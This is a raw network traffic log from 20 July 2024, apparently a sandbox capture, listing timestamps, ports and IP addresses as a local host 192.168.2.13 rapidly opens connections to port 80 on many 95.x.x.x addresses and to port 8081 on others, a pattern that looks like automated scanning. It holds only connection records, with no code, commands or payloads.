Jul 20, 2024 23:05:43.784357071 CEST	8081	48736	86.28.105.133	192.168.2.13
Jul 20, 2024 23:05:43.784549952 CEST	80	21679	95.98.218.55	192.168.2.13
Jul 20, 2024 23:05:43.784818888 CEST	80	21679	95.152.239.54	192.168.2.13
Jul 20, 2024 23:05:43.785165071 CEST	21679	80	192.168.2.13	95.90.25.38
Jul 20, 2024 23:05:43.785165071 CEST	21679	80	192.168.2.13	95.118.1.11
Jul 20, 2024 23:05:43.785165071 CEST	21679	80	192.168.2.13	95.4.195.113
Jul 20, 2024 23:05:43.785165071 CEST	21679	80	192.168.2.13	95.55.150.127
Jul 20, 2024 23:05:43.785165071 CEST	21679	80	192.168.2.13	95.202.47.119
Jul 20, 2024 23:05:43.785165071 CEST	21679	80	192.168.2.13	95.158.31.44
Jul 20, 2024 23:05:43.785165071 CEST	21679	80	192.168.2.13	95.104.175.150
Jul 20, 2024 23:05:43.785165071 CEST	21679	80	192.168.2.13	95.203.253.62
Jul 20, 2024 23:05:43.785217047 CEST	8081	33040	20.191.46.135	192.168.2.13
Jul 20, 2024 23:05:43.785348892 CEST	80	21679	95.221.47.226	192.168.2.13
Jul 20, 2024 23:05:43.785506964 CEST	80	21679	95.35.11.248	192.168.2.13
Jul 20, 2024 23:05:43.785511971 CEST	80	21679	95.210.243.101	192.168.2.13
Jul 20, 2024 23:05:43.785522938 CEST	80	38598	95.96.37.96	192.168.2.13
Jul 20, 2024 23:05:43.785537004 CEST	80	21679	95.251.137.49	192.168.2.13
Jul 20, 2024 23:05:43.785571098 CEST	21679	80	192.168.2.13	95.102.115.79
Jul 20, 2024 23:05:43.785572052 CEST	21679	80	192.168.2.13	95.152.239.54
Jul 20, 2024 23:05:43.785572052 CEST	21679	80	192.168.2.13	95.35.11.248
Jul 20, 2024 23:05:43.785572052 CEST	21679	80	192.168.2.13	95.251.137.49
Jul 20, 2024 23:05:43.785711050 CEST	80	21679	95.190.186.72	192.168.2.13
Jul 20, 2024 23:05:43.785938025 CEST	80	21679	95.86.159.112	192.168.2.13
Jul 20, 2024 23:05:43.786015987 CEST	21679	80	192.168.2.13	95.150.4.134
Jul 20, 2024 23:05:43.786015987 CEST	21679	80	192.168.2.13	95.245.175.108
Jul 20, 2024 23:05:43.786015987 CEST	21679	80	192.168.2.13	95.1.105.17
Jul 20, 2024 23:05:43.786015987 CEST	21679	80	192.168.2.13	95.86.8.148
Jul 20, 2024 23:05:43.786015987 CEST	21679	80	192.168.2.13	95.158.187.45
Jul 20, 2024 23:05:43.786015987 CEST	48492	80	192.168.2.13	95.82.15.117
Jul 20, 2024 23:05:43.786015987 CEST	48492	80	192.168.2.13	95.82.15.117
Jul 20, 2024 23:05:43.786173105 CEST	80	21679	95.184.21.231	192.168.2.13
Jul 20, 2024 23:05:43.786308050 CEST	80	21679	95.173.68.151	192.168.2.13
Jul 20, 2024 23:05:43.786436081 CEST	80	21679	95.249.255.224	192.168.2.13
Jul 20, 2024 23:05:43.786778927 CEST	21679	80	192.168.2.13	95.184.130.221
Jul 20, 2024 23:05:43.786778927 CEST	21679	80	192.168.2.13	95.15.194.223
Jul 20, 2024 23:05:43.786780119 CEST	21679	80	192.168.2.13	95.42.94.177
Jul 20, 2024 23:05:43.786780119 CEST	21679	80	192.168.2.13	95.191.55.39
Jul 20, 2024 23:05:43.786780119 CEST	21679	80	192.168.2.13	95.185.238.112
Jul 20, 2024 23:05:43.786780119 CEST	21679	80	192.168.2.13	95.37.21.205
Jul 20, 2024 23:05:43.786780119 CEST	21679	80	192.168.2.13	95.50.205.75
Jul 20, 2024 23:05:43.786787987 CEST	80	21679	95.125.91.227	192.168.2.13
Jul 20, 2024 23:05:43.786880016 CEST	80	21679	95.125.81.110	192.168.2.13
Jul 20, 2024 23:05:43.787070990 CEST	80	21679	95.39.232.243	192.168.2.13
Jul 20, 2024 23:05:43.787204981 CEST	80	21679	95.36.8.35	192.168.2.13
Jul 20, 2024 23:05:43.787209988 CEST	80	40848	95.212.58.133	192.168.2.13
Jul 20, 2024 23:05:43.787396908 CEST	80	21679	95.13.224.160	192.168.2.13
Jul 20, 2024 23:05:43.787401915 CEST	8081	59312	115.193.221.183	192.168.2.13
Jul 20, 2024 23:05:43.787472963 CEST	21679	80	192.168.2.13	95.125.91.227
Jul 20, 2024 23:05:43.787472963 CEST	21679	80	192.168.2.13	95.39.232.243
Jul 20, 2024 23:05:43.787472963 CEST	21679	80	192.168.2.13	95.13.224.160
Jul 20, 2024 23:05:43.787523985 CEST	80	21679	95.34.251.203	192.168.2.13
Jul 20, 2024 23:05:43.787693024 CEST	58656	8081	192.168.2.13	17.188.164.234
Jul 20, 2024 23:05:43.787758112 CEST	80	21679	95.228.98.74	192.168.2.13
Jul 20, 2024 23:05:43.787992001 CEST	80	21679	95.237.196.232	192.168.2.13
Jul 20, 2024 23:05:43.788203955 CEST	80	21679	95.165.197.26	192.168.2.13
Jul 20, 2024 23:05:43.788266897 CEST	80	21679	95.51.112.109	192.168.2.13
Jul 20, 2024 23:05:43.788414955 CEST	80	21679	95.58.205.39	192.168.2.13
Jul 20, 2024 23:05:43.788430929 CEST	43414	80	192.168.2.13	95.101.78.125
Jul 20, 2024 23:05:43.788430929 CEST	54494	8081	192.168.2.13	117.162.6.62
Jul 20, 2024 23:05:43.788553953 CEST	80	21679	95.136.134.231	192.168.2.13
Jul 20, 2024 23:05:43.788749933 CEST	80	21679	95.206.42.203	192.168.2.13
Jul 20, 2024 23:05:43.789060116 CEST	21679	80	192.168.2.13	95.228.98.74
Jul 20, 2024 23:05:43.789060116 CEST	21679	80	192.168.2.13	95.165.197.26
Jul 20, 2024 23:05:43.789060116 CEST	21679	80	192.168.2.13	95.58.205.39
Jul 20, 2024 23:05:43.789077997 CEST	80	21679	95.194.102.216	192.168.2.13
Jul 20, 2024 23:05:43.789307117 CEST	80	21679	95.167.134.109	192.168.2.13
Jul 20, 2024 23:05:43.789546967 CEST	80	21679	95.157.234.73	192.168.2.13
Jul 20, 2024 23:05:43.789551973 CEST	80	21679	95.199.186.186	192.168.2.13
Jul 20, 2024 23:05:43.789561033 CEST	80	21679	95.84.208.161	192.168.2.13
Jul 20, 2024 23:05:43.789779902 CEST	80	21679	95.81.10.43	192.168.2.13
Jul 20, 2024 23:05:43.789977074 CEST	21679	80	192.168.2.13	95.47.94.186
Jul 20, 2024 23:05:43.789977074 CEST	21679	80	192.168.2.13	95.86.132.152
Jul 20, 2024 23:05:43.789977074 CEST	21679	80	192.168.2.13	95.135.148.50
Jul 20, 2024 23:05:43.789977074 CEST	33040	8081	192.168.2.13	20.191.46.135
Jul 20, 2024 23:05:43.789977074 CEST	59312	8081	192.168.2.13	115.193.221.183
Jul 20, 2024 23:05:43.790491104 CEST	21679	80	192.168.2.13	95.157.234.73
Jul 20, 2024 23:05:43.790491104 CEST	21679	80	192.168.2.13	95.84.208.161
Jul 20, 2024 23:05:43.790498972 CEST	80	21679	95.35.170.168	192.168.2.13
Jul 20, 2024 23:05:43.790581942 CEST	80	21679	95.91.175.39	192.168.2.13
Jul 20, 2024 23:05:43.790666103 CEST	80	21679	95.174.111.201	192.168.2.13
Jul 20, 2024 23:05:43.790775061 CEST	80	21679	95.172.204.226	192.168.2.13
Jul 20, 2024 23:05:43.790788889 CEST	80	21679	95.47.54.247	192.168.2.13
Jul 20, 2024 23:05:43.790859938 CEST	80	21679	95.33.217.95	192.168.2.13
Jul 20, 2024 23:05:43.790997982 CEST	80	21679	95.90.25.38	192.168.2.13
Jul 20, 2024 23:05:43.791002035 CEST	80	21679	95.236.221.41	192.168.2.13
Jul 20, 2024 23:05:43.791013002 CEST	80	21679	95.117.206.106	192.168.2.13
Jul 20, 2024 23:05:43.791040897 CEST	80	21679	95.118.1.11	192.168.2.13
Jul 20, 2024 23:05:43.791153908 CEST	46284	8081	192.168.2.13	201.159.112.182
Jul 20, 2024 23:05:43.791153908 CEST	57658	8081	192.168.2.13	206.53.199.156
Jul 20, 2024 23:05:43.791153908 CEST	37050	80	192.168.2.13	95.122.50.119
Jul 20, 2024 23:05:43.791153908 CEST	37484	80	192.168.2.13	95.58.237.131
Jul 20, 2024 23:05:43.791153908 CEST	59260	80	192.168.2.13	95.174.198.161
Jul 20, 2024 23:05:43.791383982 CEST	80	21679	95.4.195.113	192.168.2.13
Jul 20, 2024 23:05:43.791486979 CEST	21679	80	192.168.2.13	95.203.34.109
Jul 20, 2024 23:05:43.791486979 CEST	21679	80	192.168.2.13	95.98.218.55
Jul 20, 2024 23:05:43.791486979 CEST	21679	80	192.168.2.13	95.221.47.226
Jul 20, 2024 23:05:43.791486979 CEST	21679	80	192.168.2.13	95.210.243.101
Jul 20, 2024 23:05:43.791486979 CEST	21679	80	192.168.2.13	95.86.159.112
Jul 20, 2024 23:05:43.791500092 CEST	80	21679	95.55.150.127	192.168.2.13
Jul 20, 2024 23:05:43.791608095 CEST	21679	80	192.168.2.13	95.35.170.168
Jul 20, 2024 23:05:43.791608095 CEST	21679	80	192.168.2.13	95.33.217.95
Jul 20, 2024 23:05:43.791723013 CEST	21679	80	192.168.2.13	95.214.214.200
Jul 20, 2024 23:05:43.791723013 CEST	21679	80	192.168.2.13	95.131.176.50
Jul 20, 2024 23:05:43.791723013 CEST	21679	80	192.168.2.13	95.131.114.255
Jul 20, 2024 23:05:43.791723013 CEST	21679	80	192.168.2.13	95.75.228.170
Jul 20, 2024 23:05:43.791723013 CEST	21679	80	192.168.2.13	95.218.213.252
Jul 20, 2024 23:05:43.791723013 CEST	21679	80	192.168.2.13	95.156.254.39
Jul 20, 2024 23:05:43.791723013 CEST	21679	80	192.168.2.13	95.190.186.72
Jul 20, 2024 23:05:43.791723013 CEST	21679	80	192.168.2.13	95.184.21.231
Jul 20, 2024 23:05:43.791735888 CEST	80	21679	95.224.160.124	192.168.2.13
Jul 20, 2024 23:05:43.792303085 CEST	80	21679	95.184.130.221	192.168.2.13
Jul 20, 2024 23:05:43.792651892 CEST	46456	80	192.168.2.13	95.142.27.251
Jul 20, 2024 23:05:43.792659998 CEST	80	21679	95.150.4.134	192.168.2.13
Jul 20, 2024 23:05:43.792670012 CEST	80	21679	95.202.47.119	192.168.2.13
Jul 20, 2024 23:05:43.793020964 CEST	80	21679	95.245.175.108	192.168.2.13
Jul 20, 2024 23:05:43.793294907 CEST	80	21679	95.1.105.17	192.168.2.13
Jul 20, 2024 23:05:43.793540955 CEST	21679	80	192.168.2.13	95.237.196.232
Jul 20, 2024 23:05:43.793541908 CEST	80	21679	95.86.8.148	192.168.2.13
Jul 20, 2024 23:05:43.793540955 CEST	21679	80	192.168.2.13	95.136.134.231
Jul 20, 2024 23:05:43.793540955 CEST	21679	80	192.168.2.13	95.199.186.186
Jul 20, 2024 23:05:43.793540955 CEST	21679	80	192.168.2.13	95.81.10.43
Jul 20, 2024 23:05:43.793540955 CEST	21679	80	192.168.2.13	95.91.175.39
Jul 20, 2024 23:05:43.793540955 CEST	21679	80	192.168.2.13	95.172.204.226
Jul 20, 2024 23:05:43.793541908 CEST	21679	80	192.168.2.13	95.90.25.38
Jul 20, 2024 23:05:43.793541908 CEST	21679	80	192.168.2.13	95.118.1.11
Jul 20, 2024 23:05:43.793546915 CEST	80	21679	95.15.194.223	192.168.2.13
Jul 20, 2024 23:05:43.793796062 CEST	80	21679	95.158.31.44	192.168.2.13
Jul 20, 2024 23:05:43.794136047 CEST	80	21679	95.104.175.150	192.168.2.13
Jul 20, 2024 23:05:43.794382095 CEST	37466	8081	192.168.2.13	216.77.147.81
Jul 20, 2024 23:05:43.794382095 CEST	21679	80	192.168.2.13	95.192.3.236
Jul 20, 2024 23:05:43.794507980 CEST	80	21679	95.158.187.45	192.168.2.13
Jul 20, 2024 23:05:43.794663906 CEST	80	21679	95.42.94.177	192.168.2.13
Jul 20, 2024 23:05:43.794847965 CEST	80	21679	95.203.253.62	192.168.2.13
Jul 20, 2024 23:05:43.795051098 CEST	80	48492	95.82.15.117	192.168.2.13
Jul 20, 2024 23:05:43.795367002 CEST	80	21679	95.191.55.39	192.168.2.13
Jul 20, 2024 23:05:43.795432091 CEST	80	21679	95.185.238.112	192.168.2.13
Jul 20, 2024 23:05:43.795741081 CEST	21679	80	192.168.2.13	95.173.68.151
Jul 20, 2024 23:05:43.795741081 CEST	21679	80	192.168.2.13	95.125.81.110
Jul 20, 2024 23:05:43.795741081 CEST	21679	80	192.168.2.13	95.36.8.35
Jul 20, 2024 23:05:43.795741081 CEST	21679	80	192.168.2.13	95.34.251.203
Jul 20, 2024 23:05:43.795741081 CEST	21679	80	192.168.2.13	95.51.112.109
Jul 20, 2024 23:05:43.795741081 CEST	21679	80	192.168.2.13	95.206.42.203
Jul 20, 2024 23:05:43.795741081 CEST	21679	80	192.168.2.13	95.194.102.216
Jul 20, 2024 23:05:43.795749903 CEST	80	21679	95.47.94.186	192.168.2.13
Jul 20, 2024 23:05:43.795814037 CEST	32940	80	192.168.2.13	95.14.252.121
Jul 20, 2024 23:05:43.795814037 CEST	56942	8081	192.168.2.13	63.54.135.76
Jul 20, 2024 23:05:43.795814037 CEST	40132	80	192.168.2.13	95.0.24.197
Jul 20, 2024 23:05:43.795913935 CEST	80	48492	95.82.15.117	192.168.2.13
Jul 20, 2024 23:05:43.795947075 CEST	21679	80	192.168.2.13	95.249.255.224
Jul 20, 2024 23:05:43.795947075 CEST	21679	80	192.168.2.13	95.167.134.109
Jul 20, 2024 23:05:43.795947075 CEST	21679	80	192.168.2.13	95.174.111.201
Jul 20, 2024 23:05:43.795948029 CEST	21679	80	192.168.2.13	95.47.54.247
Jul 20, 2024 23:05:43.795948029 CEST	21679	80	192.168.2.13	95.236.221.41
Jul 20, 2024 23:05:43.795948029 CEST	21679	80	192.168.2.13	95.224.160.124
Jul 20, 2024 23:05:43.796180964 CEST	80	21679	95.86.132.152	192.168.2.13
Jul 20, 2024 23:05:43.796365976 CEST	80	21679	95.37.21.205	192.168.2.13
Jul 20, 2024 23:05:43.796370029 CEST	80	21679	95.135.148.50	192.168.2.13
Jul 20, 2024 23:05:43.796624899 CEST	80	21679	95.50.205.75	192.168.2.13
Jul 20, 2024 23:05:43.796647072 CEST	38284	8081	192.168.2.13	209.25.30.35
Jul 20, 2024 23:05:43.796647072 CEST	51954	8081	192.168.2.13	48.169.101.121
Jul 20, 2024 23:05:43.796807051 CEST	21679	80	192.168.2.13	95.15.68.157
Jul 20, 2024 23:05:43.796807051 CEST	21679	80	192.168.2.13	95.105.85.226
Jul 20, 2024 23:05:43.796807051 CEST	21679	80	192.168.2.13	95.24.174.35
Jul 20, 2024 23:05:43.796807051 CEST	21679	80	192.168.2.13	95.242.62.139
Jul 20, 2024 23:05:43.796807051 CEST	21679	80	192.168.2.13	95.116.26.181
Jul 20, 2024 23:05:43.796807051 CEST	21679	80	192.168.2.13	95.138.149.175
Jul 20, 2024 23:05:43.796807051 CEST	21679	80	192.168.2.13	95.227.207.220
Jul 20, 2024 23:05:43.797367096 CEST	80	21679	95.214.214.200	192.168.2.13
Jul 20, 2024 23:05:43.797506094 CEST	80	21679	95.131.176.50	192.168.2.13
Jul 20, 2024 23:05:43.797635078 CEST	54412	80	192.168.2.13	95.157.224.56
Jul 20, 2024 23:05:43.798314095 CEST	80	21679	95.131.114.255	192.168.2.13
Jul 20, 2024 23:05:43.798681974 CEST	80	21679	95.75.228.170	192.168.2.13
Jul 20, 2024 23:05:43.798696995 CEST	21679	80	192.168.2.13	95.4.195.113
Jul 20, 2024 23:05:43.798696995 CEST	21679	80	192.168.2.13	95.55.150.127
Jul 20, 2024 23:05:43.798696995 CEST	21679	80	192.168.2.13	95.202.47.119
Jul 20, 2024 23:05:43.798696995 CEST	21679	80	192.168.2.13	95.158.31.44
Jul 20, 2024 23:05:43.798696995 CEST	21679	80	192.168.2.13	95.104.175.150
Jul 20, 2024 23:05:43.798696995 CEST	21679	80	192.168.2.13	95.203.253.62
Jul 20, 2024 23:05:43.798696995 CEST	21679	80	192.168.2.13	95.47.94.186
Jul 20, 2024 23:05:43.799134970 CEST	35782	8081	192.168.2.13	65.70.49.213
Jul 20, 2024 23:05:43.799134970 CEST	53866	80	192.168.2.13	95.99.179.194
Jul 20, 2024 23:05:43.799134970 CEST	47052	8081	192.168.2.13	37.111.247.22
Jul 20, 2024 23:05:43.799134970 CEST	43608	8081	192.168.2.13	59.118.248.133
Jul 20, 2024 23:05:43.799278975 CEST	52208	8081	192.168.2.13	137.17.247.121
Jul 20, 2024 23:05:43.799278975 CEST	41374	8081	192.168.2.13	68.208.130.213
Jul 20, 2024 23:05:43.799740076 CEST	21679	80	192.168.2.13	95.171.74.152
Jul 20, 2024 23:05:43.799740076 CEST	21679	80	192.168.2.13	95.164.222.92
Jul 20, 2024 23:05:43.799740076 CEST	21679	80	192.168.2.13	95.38.174.255
Jul 20, 2024 23:05:43.799740076 CEST	21679	80	192.168.2.13	95.214.53.114
Jul 20, 2024 23:05:43.799740076 CEST	21679	80	192.168.2.13	95.94.25.204
Jul 20, 2024 23:05:43.799740076 CEST	21679	80	192.168.2.13	95.48.233.123
Jul 20, 2024 23:05:43.799740076 CEST	21679	80	192.168.2.13	95.17.175.84
Jul 20, 2024 23:05:43.799740076 CEST	21679	80	192.168.2.13	95.167.137.13
Jul 20, 2024 23:05:43.799935102 CEST	80	21679	95.218.213.252	192.168.2.13
Jul 20, 2024 23:05:43.800041914 CEST	21679	80	192.168.2.13	95.184.130.221
Jul 20, 2024 23:05:43.800041914 CEST	21679	80	192.168.2.13	95.15.194.223
Jul 20, 2024 23:05:43.800041914 CEST	21679	80	192.168.2.13	95.42.94.177
Jul 20, 2024 23:05:43.800041914 CEST	21679	80	192.168.2.13	95.185.238.112
Jul 20, 2024 23:05:43.800041914 CEST	21679	80	192.168.2.13	95.191.55.39
Jul 20, 2024 23:05:43.800041914 CEST	21679	80	192.168.2.13	95.37.21.205
Jul 20, 2024 23:05:43.800041914 CEST	21679	80	192.168.2.13	95.50.205.75
Jul 20, 2024 23:05:43.800041914 CEST	21679	80	192.168.2.13	95.214.214.200
Jul 20, 2024 23:05:43.800348997 CEST	80	21679	95.156.254.39	192.168.2.13
Jul 20, 2024 23:05:43.801258087 CEST	21679	80	192.168.2.13	95.117.206.106
Jul 20, 2024 23:05:43.801258087 CEST	21679	80	192.168.2.13	95.150.4.134
Jul 20, 2024 23:05:43.801258087 CEST	21679	80	192.168.2.13	95.245.175.108
Jul 20, 2024 23:05:43.801258087 CEST	21679	80	192.168.2.13	95.1.105.17
Jul 20, 2024 23:05:43.801258087 CEST	21679	80	192.168.2.13	95.86.8.148
Jul 20, 2024 23:05:43.802339077 CEST	21679	80	192.168.2.13	95.86.132.152
Jul 20, 2024 23:05:43.802339077 CEST	21679	80	192.168.2.13	95.135.148.50
Jul 20, 2024 23:05:43.802339077 CEST	33472	80	192.168.2.13	95.85.49.156
Jul 20, 2024 23:05:43.802339077 CEST	33918	80	192.168.2.13	95.200.69.55
Jul 20, 2024 23:05:43.802941084 CEST	21679	80	192.168.2.13	95.131.176.50
Jul 20, 2024 23:05:43.802941084 CEST	21679	80	192.168.2.13	95.131.114.255
Jul 20, 2024 23:05:43.802941084 CEST	21679	80	192.168.2.13	95.75.228.170
Jul 20, 2024 23:05:43.802941084 CEST	21679	80	192.168.2.13	95.218.213.252
Jul 20, 2024 23:05:43.802941084 CEST	58400	80	192.168.2.13	95.199.121.127
Jul 20, 2024 23:05:43.802941084 CEST	21679	80	192.168.2.13	95.156.254.39
Jul 20, 2024 23:05:43.804003954 CEST	21679	80	192.168.2.13	95.55.86.238
Jul 20, 2024 23:05:43.804003954 CEST	21679	80	192.168.2.13	95.237.24.248
Jul 20, 2024 23:05:43.804003954 CEST	21679	80	192.168.2.13	95.67.5.9
Jul 20, 2024 23:05:43.804003954 CEST	21679	80	192.168.2.13	95.95.133.152
Jul 20, 2024 23:05:43.804003954 CEST	21679	80	192.168.2.13	95.177.214.172
Jul 20, 2024 23:05:43.804785967 CEST	47806	80	192.168.2.13	95.158.64.25
Jul 20, 2024 23:05:43.804785967 CEST	33502	80	192.168.2.13	95.151.14.251
Jul 20, 2024 23:05:43.804786921 CEST	43532	80	192.168.2.13	95.76.135.22
Jul 20, 2024 23:05:43.804786921 CEST	59526	80	192.168.2.13	95.151.244.207
Jul 20, 2024 23:05:43.804786921 CEST	43234	80	192.168.2.13	95.78.75.152
Jul 20, 2024 23:05:43.805371046 CEST	37016	80	192.168.2.13	95.184.164.197
Jul 20, 2024 23:05:43.806564093 CEST	21679	80	192.168.2.13	95.158.187.45
Jul 20, 2024 23:05:43.806679964 CEST	45774	80	192.168.2.13	95.30.65.188
Jul 20, 2024 23:05:43.806679964 CEST	21679	80	192.168.2.13	95.36.97.154
Jul 20, 2024 23:05:43.806679964 CEST	21679	80	192.168.2.13	95.157.209.104
Jul 20, 2024 23:05:43.806679964 CEST	21679	80	192.168.2.13	95.35.28.12
Jul 20, 2024 23:05:43.806881905 CEST	21679	80	192.168.2.13	95.134.174.69
Jul 20, 2024 23:05:43.806881905 CEST	21679	80	192.168.2.13	95.184.73.82
Jul 20, 2024 23:05:43.806881905 CEST	21679	80	192.168.2.13	95.76.74.68
Jul 20, 2024 23:05:43.806881905 CEST	21679	80	192.168.2.13	95.197.240.3
Jul 20, 2024 23:05:43.806881905 CEST	21679	80	192.168.2.13	95.167.251.156
Jul 20, 2024 23:05:43.806881905 CEST	21679	80	192.168.2.13	95.217.13.169
Jul 20, 2024 23:05:43.806881905 CEST	21679	80	192.168.2.13	95.248.26.116
Jul 20, 2024 23:05:43.806881905 CEST	21679	80	192.168.2.13	95.218.169.177
Jul 20, 2024 23:05:43.807177067 CEST	34822	80	192.168.2.13	95.130.82.28
Jul 20, 2024 23:05:43.807177067 CEST	21679	80	192.168.2.13	95.47.140.188
Jul 20, 2024 23:05:43.807177067 CEST	21679	80	192.168.2.13	95.250.101.205
Jul 20, 2024 23:05:43.807177067 CEST	21679	80	192.168.2.13	95.53.143.174
Jul 20, 2024 23:05:43.807177067 CEST	21679	80	192.168.2.13	95.116.63.54
Jul 20, 2024 23:05:43.807177067 CEST	21679	80	192.168.2.13	95.154.101.229
Jul 20, 2024 23:05:43.807177067 CEST	21679	80	192.168.2.13	95.163.240.162
Jul 20, 2024 23:05:43.807177067 CEST	21679	80	192.168.2.13	95.220.253.229
Jul 20, 2024 23:05:43.807197094 CEST	55198	8081	192.168.2.13	120.245.6.162
Jul 20, 2024 23:05:43.807197094 CEST	55198	8081	192.168.2.13	120.245.6.162
Jul 20, 2024 23:05:43.807399035 CEST	80	21679	95.192.3.236	192.168.2.13
Jul 20, 2024 23:05:43.808640957 CEST	21679	80	192.168.2.13	95.31.248.208
Jul 20, 2024 23:05:43.808640957 CEST	21679	80	192.168.2.13	95.200.208.66
Jul 20, 2024 23:05:43.808640957 CEST	21679	80	192.168.2.13	95.21.96.143
Jul 20, 2024 23:05:43.808640957 CEST	21679	80	192.168.2.13	95.214.161.11
Jul 20, 2024 23:05:43.808640957 CEST	21679	80	192.168.2.13	95.213.244.235
Jul 20, 2024 23:05:43.808640957 CEST	21679	80	192.168.2.13	95.11.222.96
Jul 20, 2024 23:05:43.808641911 CEST	21679	80	192.168.2.13	95.190.154.96
Jul 20, 2024 23:05:43.808641911 CEST	21679	80	192.168.2.13	95.203.142.135
Jul 20, 2024 23:05:43.809842110 CEST	80	57882	95.224.40.109	192.168.2.13
Jul 20, 2024 23:05:43.809953928 CEST	48844	80	192.168.2.13	95.82.15.117
Jul 20, 2024 23:05:43.809977055 CEST	80	21679	95.15.68.157	192.168.2.13
Jul 20, 2024 23:05:43.810110092 CEST	46862	80	192.168.2.13	95.8.43.97
Jul 20, 2024 23:05:43.810110092 CEST	21679	80	192.168.2.13	95.100.186.55
Jul 20, 2024 23:05:43.810110092 CEST	21679	80	192.168.2.13	95.149.86.158
Jul 20, 2024 23:05:43.810110092 CEST	21679	80	192.168.2.13	95.209.251.104
Jul 20, 2024 23:05:43.810110092 CEST	21679	80	192.168.2.13	95.184.226.90
Jul 20, 2024 23:05:43.810110092 CEST	21679	80	192.168.2.13	95.88.100.57
Jul 20, 2024 23:05:43.810110092 CEST	21679	80	192.168.2.13	95.168.103.108
Jul 20, 2024 23:05:43.810110092 CEST	21679	80	192.168.2.13	95.29.159.251
Jul 20, 2024 23:05:43.810842037 CEST	21679	80	192.168.2.13	95.6.24.139
Jul 20, 2024 23:05:43.810842037 CEST	21679	80	192.168.2.13	95.39.208.120
Jul 20, 2024 23:05:43.810842037 CEST	21679	80	192.168.2.13	95.78.62.180
Jul 20, 2024 23:05:43.810842037 CEST	21679	80	192.168.2.13	95.215.54.96
Jul 20, 2024 23:05:43.811089993 CEST	21679	80	192.168.2.13	95.135.246.199
Jul 20, 2024 23:05:43.811089993 CEST	21679	80	192.168.2.13	95.123.181.38
Jul 20, 2024 23:05:43.811089993 CEST	21679	80	192.168.2.13	95.22.107.116
Jul 20, 2024 23:05:43.811175108 CEST	21679	80	192.168.2.13	95.168.226.180
Jul 20, 2024 23:05:43.811175108 CEST	21679	80	192.168.2.13	95.77.65.141
Jul 20, 2024 23:05:43.811175108 CEST	21679	80	192.168.2.13	95.218.67.198
Jul 20, 2024 23:05:43.811175108 CEST	21679	80	192.168.2.13	95.42.231.24
Jul 20, 2024 23:05:43.811176062 CEST	21679	80	192.168.2.13	95.98.10.163
Jul 20, 2024 23:05:43.811176062 CEST	21679	80	192.168.2.13	95.57.42.212
Jul 20, 2024 23:05:43.811176062 CEST	21679	80	192.168.2.13	95.142.81.22
Jul 20, 2024 23:05:43.811176062 CEST	21679	80	192.168.2.13	95.208.188.74
Jul 20, 2024 23:05:43.811434031 CEST	54952	8081	192.168.2.13	102.95.56.173
Jul 20, 2024 23:05:43.811434984 CEST	46668	8081	192.168.2.13	120.161.159.9
Jul 20, 2024 23:05:43.811474085 CEST	38322	8081	192.168.2.13	129.234.53.71
Jul 20, 2024 23:05:43.811567068 CEST	50222	80	192.168.2.13	95.12.52.181
Jul 20, 2024 23:05:43.811567068 CEST	50222	80	192.168.2.13	95.12.52.181
Jul 20, 2024 23:05:43.811567068 CEST	53426	8081	192.168.2.13	133.97.201.216
Jul 20, 2024 23:05:43.811724901 CEST	51096	8081	192.168.2.13	36.176.160.146
Jul 20, 2024 23:05:43.813008070 CEST	21679	80	192.168.2.13	95.220.129.153
Jul 20, 2024 23:05:43.813008070 CEST	21679	80	192.168.2.13	95.254.33.254
Jul 20, 2024 23:05:43.813008070 CEST	21679	80	192.168.2.13	95.22.70.113
Jul 20, 2024 23:05:43.813008070 CEST	21679	80	192.168.2.13	95.95.85.151
Jul 20, 2024 23:05:43.813008070 CEST	21679	80	192.168.2.13	95.107.177.164
Jul 20, 2024 23:05:43.813008070 CEST	21679	80	192.168.2.13	95.40.147.159
Jul 20, 2024 23:05:43.813426971 CEST	80	21679	95.105.85.226	192.168.2.13
Jul 20, 2024 23:05:43.813446045 CEST	80	21679	95.24.174.35	192.168.2.13
Jul 20, 2024 23:05:43.813461065 CEST	80	21679	95.242.62.139	192.168.2.13
Jul 20, 2024 23:05:43.813466072 CEST	21679	80	192.168.2.13	95.245.214.0
Jul 20, 2024 23:05:43.813466072 CEST	21679	80	192.168.2.13	95.117.81.232
Jul 20, 2024 23:05:43.813466072 CEST	21679	80	192.168.2.13	95.217.208.228
Jul 20, 2024 23:05:43.813467026 CEST	21679	80	192.168.2.13	95.180.88.254
Jul 20, 2024 23:05:43.813467026 CEST	33508	8081	192.168.2.13	51.212.187.178
Jul 20, 2024 23:05:43.813467026 CEST	40848	80	192.168.2.13	95.212.58.133
Jul 20, 2024 23:05:43.813854933 CEST	8081	37472	154.38.133.150	192.168.2.13
Jul 20, 2024 23:05:43.814057112 CEST	80	21679	95.171.74.152	192.168.2.13
Jul 20, 2024 23:05:43.814064026 CEST	80	21679	95.116.26.181	192.168.2.13
Jul 20, 2024 23:05:43.814074039 CEST	80	21679	95.164.222.92	192.168.2.13
Jul 20, 2024 23:05:43.814752102 CEST	57882	80	192.168.2.13	95.224.40.109
Jul 20, 2024 23:05:43.814752102 CEST	21679	80	192.168.2.13	95.171.74.152
Jul 20, 2024 23:05:43.814990997 CEST	80	21679	95.138.149.175	192.168.2.13
Jul 20, 2024 23:05:43.815001011 CEST	80	21679	95.38.174.255	192.168.2.13
Jul 20, 2024 23:05:43.815100908 CEST	21679	80	192.168.2.13	95.56.98.255
Jul 20, 2024 23:05:43.815100908 CEST	21679	80	192.168.2.13	95.189.25.164
Jul 20, 2024 23:05:43.815100908 CEST	21679	80	192.168.2.13	95.120.181.45
Jul 20, 2024 23:05:43.815100908 CEST	21679	80	192.168.2.13	95.175.153.47
Jul 20, 2024 23:05:43.815100908 CEST	21679	80	192.168.2.13	95.87.135.33
Jul 20, 2024 23:05:43.815100908 CEST	21679	80	192.168.2.13	95.165.121.237
Jul 20, 2024 23:05:43.815100908 CEST	21679	80	192.168.2.13	95.146.106.16
Jul 20, 2024 23:05:43.815100908 CEST	21679	80	192.168.2.13	95.20.68.219
Jul 20, 2024 23:05:43.815385103 CEST	80	21679	95.214.53.114	192.168.2.13
Jul 20, 2024 23:05:43.815390110 CEST	80	53478	95.65.111.176	192.168.2.13
Jul 20, 2024 23:05:43.815403938 CEST	80	21679	95.227.207.220	192.168.2.13
Jul 20, 2024 23:05:43.815722942 CEST	80	33472	95.85.49.156	192.168.2.13
Jul 20, 2024 23:05:43.815773964 CEST	33472	80	192.168.2.13	95.85.49.156
Jul 20, 2024 23:05:43.815793991 CEST	80	33918	95.200.69.55	192.168.2.13
Jul 20, 2024 23:05:43.815798998 CEST	80	21679	95.55.86.238	192.168.2.13
